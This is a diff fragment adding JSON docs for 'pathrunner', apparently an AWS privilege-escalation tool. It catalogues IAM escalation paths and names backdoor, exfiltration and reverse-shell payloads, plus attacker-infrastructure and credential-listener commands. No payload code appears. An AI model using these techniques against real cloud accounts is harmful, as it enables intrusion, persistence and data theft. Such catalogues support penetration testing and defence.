+      "category": "new-passrole",
+      "primaryService": "glue",
+      "services": [
+        "iam",
+        "glue"
+      ]
+    },
+    {
+      "id": "glue-004",
+      "name": "iam:PassRole + glue:CreateJob + glue:CreateTrigger",
+      "category": "new-passrole",
+      "primaryService": "glue",
+      "services": [
+        "iam",
+        "glue"
+      ]
+    },
+    {
+      "id": "glue-005",
+      "name": "iam:PassRole + glue:UpdateJob + glue:StartJobRun",
+      "category": "existing-passrole",
+      "primaryService": "glue",
+      "services": [
+        "iam",
+        "glue"
+      ]
+    },
+    {
+      "id": "glue-006",
+      "name": "iam:PassRole + glue:UpdateJob + glue:CreateTrigger",
+      "category": "new-passrole",
+      "primaryService": "glue",
+      "services": [
+        "iam",
+        "glue"
+      ]
+    },
+    {
+      "id": "glue-007",
+      "name": "iam:PassRole + glue:CreateSession + glue:RunStatement",
+      "category": "new-passrole",
+      "primaryService": "glue",
+      "services": [
+        "iam",
+        "glue"
+      ]
+    },
+    {
+      "id": "iam-001",
+      "name": "iam:CreatePolicyVersion",
+      "category": "self-escalation",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "iam-002",
+      "name": "iam:CreateAccessKey",
+      "category": "principal-access",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "iam-003",
+      "name": "iam:CreateAccessKey + iam:DeleteAccessKey",
+      "category": "principal-access",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "iam-004",
+      "name": "iam:CreateLoginProfile",
+      "category": "principal-access",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "iam-005",
+      "name": "iam:PutRolePolicy",
+      "category": "self-escalation",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "iam-006",
+      "name": "iam:UpdateLoginProfile",
+      "category": "principal-access",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "iam-007",
+      "name": "iam:PutUserPolicy",
+      "category": "self-escalation",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "iam-008",
+      "name": "iam:AttachUserPolicy",
+      "category": "self-escalation",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "iam-009",
+      "name": "iam:AttachRolePolicy",
+      "category": "self-escalation",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "iam-010",
+      "name": "iam:AttachGroupPolicy",
+      "category": "self-escalation",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "iam-011",
+      "name": "iam:PutGroupPolicy",
+      "category": "self-escalation",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "iam-012",
+      "name": "iam:UpdateAssumeRolePolicy",
+      "category": "principal-access",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "iam-013",
+      "name": "iam:AddUserToGroup",
+      "category": "self-escalation",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "iam-014",
+      "name": "iam:AttachRolePolicy + sts:AssumeRole",
+      "category": "principal-access",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "iam-015",
+      "name": "iam:AttachUserPolicy + iam:CreateAccessKey",
+      "category": "principal-access",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "iam-016",
+      "name": "iam:CreatePolicyVersion + sts:AssumeRole",
+      "category": "principal-access",
+      "primaryService": "iam",
+      "services": [
+        "iam",
+        "sts"
+      ]
+    },
+    {
+      "id": "iam-017",
+      "name": "iam:PutRolePolicy + sts:AssumeRole",
+      "category": "principal-access",
+      "primaryService": "iam",
+      "services": [
+        "iam",
+        "sts"
+      ]
+    },
+    {
+      "id": "iam-018",
+      "name": "iam:PutUserPolicy + iam:CreateAccessKey",
+      "category": "principal-access",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "iam-019",
+      "name": "iam:AttachRolePolicy + iam:UpdateAssumeRolePolicy",
+      "category": "principal-access",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "iam-020",
+      "name": "iam:CreatePolicyVersion + iam:UpdateAssumeRolePolicy",
+      "category": "principal-access",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "iam-021",
+      "name": "iam:PutRolePolicy + iam:UpdateAssumeRolePolicy",
+      "category": "principal-access",
+      "primaryService": "iam",
+      "services": [
+        "iam"
+      ]
+    },
+    {
+      "id": "imagebuilder-001",
+      "name": "iam:PassRole + imagebuilder:CreateComponent + imagebuilder:CreateImageRecipe + imagebuilder:CreateInfrastructureConfiguration + imagebuilder:CreateImage",
+      "category": "new-passrole",
+      "primaryService": "imagebuilder",
+      "services": [
+        "iam",
+        "imagebuilder",
+        "ec2"
+      ]
+    },
+    {
+      "id": "kinesisanalytics-001",
+      "name": "iam:PassRole + kinesisanalytics:CreateApplication + kinesisanalytics:StartApplication",
+      "category": "new-passrole",
+      "primaryService": "kinesisanalytics",
+      "services": [
+        "iam",
+        "kinesisanalytics"
+      ]
+    },
+    {
+      "id": "lambda-001",
+      "name": "iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction",
+      "category": "new-passrole",
+      "primaryService": "lambda",
+      "services": [
+        "iam",
+        "lambda"
+      ]
+    },
+    {
+      "id": "lambda-002",
+      "name": "iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping",
+      "category": "new-passrole",
+      "primaryService": "lambda",
+      "services": [
+        "iam",
+        "lambda"
+      ]
+    },
+    {
+      "id": "lambda-003",
+      "name": "lambda:UpdateFunctionCode",
+      "category": "existing-passrole",
+      "primaryService": "lambda",
+      "services": [
+        "lambda"
+      ]
+    },
+    {
+      "id": "lambda-004",
+      "name": "lambda:UpdateFunctionCode + lambda:InvokeFunction",
+      "category": "existing-passrole",
+      "primaryService": "lambda",
+      "services": [
+        "lambda"
+      ]
+    },
+    {
+      "id": "lambda-005",
+      "name": "lambda:UpdateFunctionCode + lambda:AddPermission",
+      "category": "existing-passrole",
+      "primaryService": "lambda",
+      "services": [
+        "lambda"
+      ]
+    },
+    {
+      "id": "lambda-006",
+      "name": "iam:PassRole + lambda:CreateFunction + lambda:AddPermission",
+      "category": "new-passrole",
+      "primaryService": "lambda",
+      "services": [
+        "iam",
+        "lambda"
+      ]
+    },
+    {
+      "id": "omics-001",
+      "name": "iam:PassRole + omics:CreateWorkflow + omics:StartRun",
+      "category": "new-passrole",
+      "primaryService": "omics",
+      "services": [
+        "iam",
+        "omics",
+        "s3"
+      ]
+    },
+    {
+      "id": "ssm-001",
+      "name": "ssm:StartSession",
+      "category": "existing-passrole",
+      "primaryService": "ssm",
+      "services": [
+        "iam",
+        "ssm"
+      ]
+    },
+    {
+      "id": "ssm-002",
+      "name": "ssm:SendCommand",
+      "category": "existing-passrole",
+      "primaryService": "ssm",
+      "services": [
+        "iam",
+        "ssm"
+      ]
+    },
+    {
+      "id": "ssm-003",
+      "name": "iam:PassRole + ssm:CreateDocument + ssm:StartAutomationExecution",
+      "category": "new-passrole",
+      "primaryService": "ssm",
+      "services": [
+        "iam",
+        "ssm"
+      ]
+    },
+    {
+      "id": "sts-001",
+      "name": "sts:AssumeRole",
+      "category": "principal-access",
+      "primaryService": "sts",
+      "services": [
+        "sts"
+      ]
+    }
+  ],
+  "payloads": [
+    {
+      "slug": "apprunner-backdoor-attach-policy",
+      "name": "backdoor/attach-policy",
+      "qualifiedName": "apprunner:backdoor/attach-policy",
+      "service": "apprunner",
+      "tags": [
+        "apprunner",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "batch-backdoor-attach-policy",
+      "name": "backdoor/attach-policy",
+      "qualifiedName": "batch:backdoor/attach-policy",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "batch-backdoor-create-access-key",
+      "name": "backdoor/create-access-key",
+      "qualifiedName": "batch:backdoor/create-access-key",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "batch-backdoor-create-role",
+      "name": "backdoor/create-role",
+      "qualifiedName": "batch:backdoor/create-role",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "batch-backdoor-create-user",
+      "name": "backdoor/create-user",
+      "qualifiedName": "batch:backdoor/create-user",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "batch-backdoor-update-role-trust",
+      "name": "backdoor/update-role-trust",
+      "qualifiedName": "batch:backdoor/update-role-trust",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "batch-exfil-https",
+      "name": "exfil/https",
+      "qualifiedName": "batch:exfil/https",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "exfil",
+        "https"
+      ]
+    },
+    {
+      "slug": "bedrock-backdoor-attach-policy",
+      "name": "backdoor/attach-policy",
+      "qualifiedName": "bedrock:backdoor/attach-policy",
+      "service": "bedrock",
+      "tags": [
+        "bedrock",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "bedrock-exfil-mmds",
+      "name": "exfil/mmds",
+      "qualifiedName": "bedrock:exfil/mmds",
+      "service": "bedrock",
+      "tags": [
+        "bedrock",
+        "python",
+        "exfil",
+        "response"
+      ]
+    },
+    {
+      "slug": "braket-backdoor-attach-policy",
+      "name": "backdoor/attach-policy",
+      "qualifiedName": "braket:backdoor/attach-policy",
+      "service": "braket",
+      "tags": [
+        "braket",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "cloudformation-backdoor-attach-policy",
+      "name": "backdoor/attach-policy",
+      "qualifiedName": "cloudformation:backdoor/attach-policy",
+      "service": "cloudformation",
+      "tags": [
+        "cloudformation",
+        "json",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "codebuild-backdoor-attach-policy",
+      "name": "backdoor/attach-policy",
+      "qualifiedName": "codebuild:backdoor/attach-policy",
+      "service": "codebuild",
+      "tags": [
+        "codebuild",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "ec2-backdoor-attach-policy",
+      "name": "backdoor/attach-policy",
+      "qualifiedName": "ec2:backdoor/attach-policy",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "ec2-backdoor-create-access-key",
+      "name": "backdoor/create-access-key",
+      "qualifiedName": "ec2:backdoor/create-access-key",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "ec2-backdoor-create-role",
+      "name": "backdoor/create-role",
+      "qualifiedName": "ec2:backdoor/create-role",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "ec2-backdoor-create-user",
+      "name": "backdoor/create-user",
+      "qualifiedName": "ec2:backdoor/create-user",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "ec2-backdoor-update-role-trust",
+      "name": "backdoor/update-role-trust",
+      "qualifiedName": "ec2:backdoor/update-role-trust",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "ec2-exfil-https",
+      "name": "exfil/https",
+      "qualifiedName": "ec2:exfil/https",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "exfil",
+        "https"
+      ]
+    },
+    {
+      "slug": "ec2-exfil-s3",
+      "name": "exfil/s3",
+      "qualifiedName": "ec2:exfil/s3",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "slug": "ec2-revshell-tls",
+      "name": "revshell/tls",
+      "qualifiedName": "ec2:revshell/tls",
+      "service": "ec2",
+      "tags": [
+        "ec2",
+        "bash",
+        "access",
+        "https"
+      ]
+    },
+    {
+      "slug": "ecs-backdoor-attach-policy",
+      "name": "backdoor/attach-policy",
+      "qualifiedName": "ecs:backdoor/attach-policy",
+      "service": "ecs",
+      "tags": [
+        "ecs",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "emr-backdoor-attach-policy",
+      "name": "backdoor/attach-policy",
+      "qualifiedName": "emr:backdoor/attach-policy",
+      "service": "emr",
+      "tags": [
+        "emr",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "gamelift-backdoor-attach-policy",
+      "name": "backdoor/attach-policy",
+      "qualifiedName": "gamelift:backdoor/attach-policy",
+      "service": "gamelift",
+      "tags": [
+        "gamelift",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "glue-backdoor-attach-policy",
+      "name": "backdoor/attach-policy",
+      "qualifiedName": "glue:backdoor/attach-policy",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "glue-backdoor-create-access-key",
+      "name": "backdoor/create-access-key",
+      "qualifiedName": "glue:backdoor/create-access-key",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "glue-backdoor-create-role",
+      "name": "backdoor/create-role",
+      "qualifiedName": "glue:backdoor/create-role",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "glue-backdoor-create-user",
+      "name": "backdoor/create-user",
+      "qualifiedName": "glue:backdoor/create-user",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "glue-backdoor-update-role-trust",
+      "name": "backdoor/update-role-trust",
+      "qualifiedName": "glue:backdoor/update-role-trust",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "glue-exfil-cloudwatch",
+      "name": "exfil/cloudwatch",
+      "qualifiedName": "glue:exfil/cloudwatch",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "exfil"
+      ]
+    },
+    {
+      "slug": "glue-exfil-https",
+      "name": "exfil/https",
+      "qualifiedName": "glue:exfil/https",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "exfil",
+        "https"
+      ]
+    },
+    {
+      "slug": "glue-exfil-s3",
+      "name": "exfil/s3",
+      "qualifiedName": "glue:exfil/s3",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "slug": "glue-revshell-tls",
+      "name": "revshell/tls",
+      "qualifiedName": "glue:revshell/tls",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "access",
+        "https"
+      ]
+    },
+    {
+      "slug": "imagebuilder-backdoor-attach-policy",
+      "name": "backdoor/attach-policy",
+      "qualifiedName": "imagebuilder:backdoor/attach-policy",
+      "service": "imagebuilder",
+      "tags": [
+        "imagebuilder",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "kinesisanalytics-backdoor-attach-policy",
+      "name": "backdoor/attach-policy",
+      "qualifiedName": "kinesisanalytics:backdoor/attach-policy",
+      "service": "kinesisanalytics",
+      "tags": [
+        "kinesisanalytics",
+        "java",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "kinesisanalytics-exfil-https",
+      "name": "exfil/https",
+      "qualifiedName": "kinesisanalytics:exfil/https",
+      "service": "kinesisanalytics",
+      "tags": [
+        "kinesisanalytics",
+        "java",
+        "exfil",
+        "https"
+      ]
+    },
+    {
+      "slug": "kinesisanalytics-exfil-s3",
+      "name": "exfil/s3",
+      "qualifiedName": "kinesisanalytics:exfil/s3",
+      "service": "kinesisanalytics",
+      "tags": [
+        "kinesisanalytics",
+        "java",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "slug": "lambda-backdoor-attach-policy",
+      "name": "backdoor/attach-policy",
+      "qualifiedName": "lambda:backdoor/attach-policy",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "lambda-backdoor-attach-policy-nodejs",
+      "name": "backdoor/attach-policy-nodejs",
+      "qualifiedName": "lambda:backdoor/attach-policy-nodejs",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "nodejs",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "lambda-backdoor-create-access-key",
+      "name": "backdoor/create-access-key",
+      "qualifiedName": "lambda:backdoor/create-access-key",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "slug": "lambda-backdoor-create-access-key-nodejs",
+      "name": "backdoor/create-access-key-nodejs",
+      "qualifiedName": "lambda:backdoor/create-access-key-nodejs",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "nodejs",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "slug": "lambda-backdoor-create-role",
+      "name": "backdoor/create-role",
+      "qualifiedName": "lambda:backdoor/create-role",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "slug": "lambda-backdoor-create-user",
+      "name": "backdoor/create-user",
+      "qualifiedName": "lambda:backdoor/create-user",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "slug": "lambda-backdoor-update-role-trust",
+      "name": "backdoor/update-role-trust",
+      "qualifiedName": "lambda:backdoor/update-role-trust",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "slug": "lambda-backdoor-update-role-trust-nodejs",
+      "name": "backdoor/update-role-trust-nodejs",
+      "qualifiedName": "lambda:backdoor/update-role-trust-nodejs",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "nodejs",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "slug": "lambda-exfil-https",
+      "name": "exfil/https",
+      "qualifiedName": "lambda:exfil/https",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "webhook"
+      ]
+    },
+    {
+      "slug": "lambda-exfil-https-nodejs",
+      "name": "exfil/https-nodejs",
+      "qualifiedName": "lambda:exfil/https-nodejs",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "nodejs",
+        "exfil",
+        "webhook"
+      ]
+    },
+    {
+      "slug": "lambda-exfil-response",
+      "name": "exfil/response",
+      "qualifiedName": "lambda:exfil/response",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "response"
+      ]
+    },
+    {
+      "slug": "lambda-exfil-response-nodejs",
+      "name": "exfil/response-nodejs",
+      "qualifiedName": "lambda:exfil/response-nodejs",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "nodejs",
+        "exfil",
+        "response"
+      ]
+    },
+    {
+      "slug": "lambda-exfil-s3",
+      "name": "exfil/s3",
+      "qualifiedName": "lambda:exfil/s3",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "slug": "lambda-revshell-tls",
+      "name": "revshell/tls",
+      "qualifiedName": "lambda:revshell/tls",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "access",
+        "https"
+      ]
+    },
+    {
+      "slug": "lambda-revshell-tls-nodejs",
+      "name": "revshell/tls-nodejs",
+      "qualifiedName": "lambda:revshell/tls-nodejs",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "nodejs",
+        "access",
+        "https"
+      ]
+    },
+    {
+      "slug": "ssm-backdoor-attach-policy",
+      "name": "backdoor/attach-policy",
+      "qualifiedName": "ssm:backdoor/attach-policy",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "ssm-backdoor-create-access-key",
+      "name": "backdoor/create-access-key",
+      "qualifiedName": "ssm:backdoor/create-access-key",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "ssm-backdoor-create-role",
+      "name": "backdoor/create-role",
+      "qualifiedName": "ssm:backdoor/create-role",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "ssm-backdoor-create-user",
+      "name": "backdoor/create-user",
+      "qualifiedName": "ssm:backdoor/create-user",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "ssm-backdoor-update-role-trust",
+      "name": "backdoor/update-role-trust",
+      "qualifiedName": "ssm:backdoor/update-role-trust",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "ssm-exfil-https",
+      "name": "exfil/https",
+      "qualifiedName": "ssm:exfil/https",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "exfil",
+        "https"
+      ]
+    },
+    {
+      "slug": "ssm-exfil-s3",
+      "name": "exfil/s3",
+      "qualifiedName": "ssm:exfil/s3",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "slug": "ssm-revshell-tls",
+      "name": "revshell/tls",
+      "qualifiedName": "ssm:revshell/tls",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "access",
+        "https"
+      ]
+    },
+    {
+      "slug": "ssm-shell-interactive",
+      "name": "shell/interactive",
+      "qualifiedName": "ssm:shell/interactive",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "access"
+      ]
+    },
+    {
+      "slug": "ssm-automation-backdoor-attach-policy",
+      "name": "backdoor/attach-policy",
+      "qualifiedName": "ssm-automation:backdoor/attach-policy",
+      "service": "ssm-automation",
+      "tags": [
+        "ssm-automation",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "ssm-automation-backdoor-create-access-key",
+      "name": "backdoor/create-access-key",
+      "qualifiedName": "ssm-automation:backdoor/create-access-key",
+      "service": "ssm-automation",
+      "tags": [
+        "ssm-automation",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "ssm-automation-backdoor-create-role",
+      "name": "backdoor/create-role",
+      "qualifiedName": "ssm-automation:backdoor/create-role",
+      "service": "ssm-automation",
+      "tags": [
+        "ssm-automation",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "ssm-automation-backdoor-create-user",
+      "name": "backdoor/create-user",
+      "qualifiedName": "ssm-automation:backdoor/create-user",
+      "service": "ssm-automation",
+      "tags": [
+        "ssm-automation",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "slug": "ssm-automation-backdoor-update-role-trust",
+      "name": "backdoor/update-role-trust",
+      "qualifiedName": "ssm-automation:backdoor/update-role-trust",
+      "service": "ssm-automation",
+      "tags": [
+        "ssm-automation",
+        "python",
+        "backdoor"
+      ]
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/attacker.json b/docs/pathrunner/data/commands/attacker.json
new file mode 100644
index 00000000..9689ffab
--- /dev/null
+++ b/docs/pathrunner/data/commands/attacker.json
@@ -0,0 +1,345 @@
+{
+  "name": "attacker",
+  "path": "pathrunner attacker",
+  "group": "core",
+  "short": "Manage attacker account identity",
+  "long": "Configure an attacker-controlled AWS account for deploying resources used during exploitation",
+  "usage": "pathrunner attacker",
+  "subcommands": [
+    {
+      "name": "clear",
+      "path": "pathrunner attacker clear",
+      "short": "Remove attacker identity (alias for 'attacker identity remove')",
+      "usage": "pathrunner attacker clear"
+    },
+    {
+      "name": "identity",
+      "path": "pathrunner attacker identity",
+      "short": "Manage attacker identity",
+      "usage": "pathrunner attacker identity",
+      "subcommands": [
+        {
+          "name": "add",
+          "path": "pathrunner attacker identity add",
+          "short": "Configure attacker identity credentials",
+          "usage": "pathrunner attacker identity add",
+          "subcommands": [
+            {
+              "name": "keys",
+              "path": "pathrunner attacker identity add keys",
+              "short": "Configure from access keys",
+              "usage": "pathrunner attacker identity add keys [flags]",
+              "flags": [
+                {
+                  "name": "access",
+                  "usage": "AWS access key ID",
+                  "type": "string"
+                },
+                {
+                  "name": "region",
+                  "usage": "AWS region (default: us-east-1)",
+                  "type": "string"
+                },
+                {
+                  "name": "secret",
+                  "usage": "AWS secret access key",
+                  "type": "string"
+                },
+                {
+                  "name": "token",
+                  "usage": "AWS session token (optional)",
+                  "type": "string"
+                }
+              ]
+            },
+            {
+              "name": "profile",
+              "path": "pathrunner attacker identity add profile",
+              "short": "Configure from AWS profile",
+              "usage": "pathrunner attacker identity add profile [name]"
+            }
+          ]
+        },
+        {
+          "name": "remove",
+          "path": "pathrunner attacker identity remove",
+          "short": "Remove attacker identity",
+          "usage": "pathrunner attacker identity remove"
+        },
+        {
+          "name": "show",
+          "path": "pathrunner attacker identity show",
+          "short": "Show current attacker identity",
+          "usage": "pathrunner attacker identity show"
+        },
+        {
+          "name": "validate",
+          "path": "pathrunner attacker identity validate",
+          "short": "Validate attacker credentials",
+          "usage": "pathrunner attacker identity validate"
+        }
+      ]
+    },
+    {
+      "name": "infra",
+      "path": "pathrunner attacker infra",
+      "short": "Manage attacker infrastructure",
+      "long": "Deploy and manage attacker-side infrastructure (EC2 instances, S3 buckets, ECR repos)",
+      "usage": "pathrunner attacker infra",
+      "subcommands": [
+        {
+          "name": "bucket",
+          "path": "pathrunner attacker infra bucket",
+          "short": "Manage S3 bucket deployments",
+          "usage": "pathrunner attacker infra bucket",
+          "subcommands": [
+            {
+              "name": "create",
+              "path": "pathrunner attacker infra bucket create",
+              "short": "Create an S3 bucket for code hosting or exfiltration",
+              "usage": "pathrunner attacker infra bucket create [flags]",
+              "flags": [
+                {
+                  "name": "region",
+                  "usage": "AWS region for the bucket",
+                  "type": "string"
+                },
+                {
+                  "name": "type",
+                  "usage": "Bucket type: code or exfil (default: exfil)",
+                  "type": "string"
+                }
+              ]
+            },
+            {
+              "name": "destroy",
+              "path": "pathrunner attacker infra bucket destroy",
+              "short": "Destroy deployed bucket(s)",
+              "usage": "pathrunner attacker infra bucket destroy [flags]",
+              "flags": [
+                {
+                  "name": "name",
+                  "usage": "Specific bucket name to destroy (destroys all if omitted)",
+                  "type": "string"
+                }
+              ]
+            },
+            {
+              "name": "status",
+              "path": "pathrunner attacker infra bucket status",
+              "short": "Show deployed buckets",
+              "usage": "pathrunner attacker infra bucket status"
+            }
+          ]
+        },
+        {
+          "name": "destroy",
+          "path": "pathrunner attacker infra destroy",
+          "short": "Tear down ALL deployed infrastructure",
+          "usage": "pathrunner attacker infra destroy"
+        },
+        {
+          "name": "ec2",
+          "path": "pathrunner attacker infra ec2",
+          "short": "Deploy pathrunner to an EC2 instance",
+          "usage": "pathrunner attacker infra ec2",
+          "subcommands": [
+            {
+              "name": "create",
+              "path": "pathrunner attacker infra ec2 create",
+              "short": "Create or update EC2 deployment",
+              "usage": "pathrunner attacker infra ec2 create [flags]",
+              "flags": [
+                {
+                  "name": "region",
+                  "usage": "AWS region for the EC2 instance",
+                  "type": "string"
+                }
+              ]
+            },
+            {
+              "name": "destroy",
+              "path": "pathrunner attacker infra ec2 destroy",
+              "short": "Tear down EC2 deployment",
+              "usage": "pathrunner attacker infra ec2 destroy"
+            },
+            {
+              "name": "status",
+              "path": "pathrunner attacker infra ec2 status",
+              "short": "Show EC2 deployment status",
+              "usage": "pathrunner attacker infra ec2 status"
+            },
+            {
+              "name": "update",
+              "path": "pathrunner attacker infra ec2 update",
+              "short": "Update pathrunner binary on existing EC2 instance",
+              "usage": "pathrunner attacker infra ec2 update"
+            }
+          ]
+        },
+        {
+          "name": "ecr",
+          "path": "pathrunner attacker infra ecr",
+          "short": "Manage ECR repository deployments",
+          "usage": "pathrunner attacker infra ecr",
+          "subcommands": [
+            {
+              "name": "create",
+              "path": "pathrunner attacker infra ecr create",
+              "short": "Create an ECR repo and push the bedrock runtime container image",
+              "usage": "pathrunner attacker infra ecr create [flags]",
+              "flags": [
+                {
+                  "name": "region",
+                  "usage": "AWS region for the ECR repository",
+                  "type": "string"
+                }
+              ]
+            },
+            {
+              "name": "destroy",
+              "path": "pathrunner attacker infra ecr destroy",
+              "short": "Destroy all deployed ECR repositories",
+              "usage": "pathrunner attacker infra ecr destroy"
+            },
+            {
+              "name": "status",
+              "path": "pathrunner attacker infra ecr status",
+              "short": "Show deployed ECR repositories",
+              "usage": "pathrunner attacker infra ecr status"
+            }
+          ]
+        },
+        {
+          "name": "status",
+          "path": "pathrunner attacker infra status",
+          "short": "Show all deployed infrastructure",
+          "usage": "pathrunner attacker infra status"
+        }
+      ]
+    },
+    {
+      "name": "listener",
+      "path": "pathrunner attacker listener",
+      "short": "Manage the unified credential collector and shell listener",
+      "usage": "pathrunner attacker listener",
+      "subcommands": [
+        {
+          "name": "log",
+          "path": "pathrunner attacker listener log",
+          "short": "Show recent listener events",
+          "usage": "pathrunner attacker listener log [flags]",
+          "flags": [
+            {
+              "name": "count",
+              "usage": "Number of recent events to show",
+              "default": "50",
+              "type": "int"
+            }
+          ]
+        },
+        {
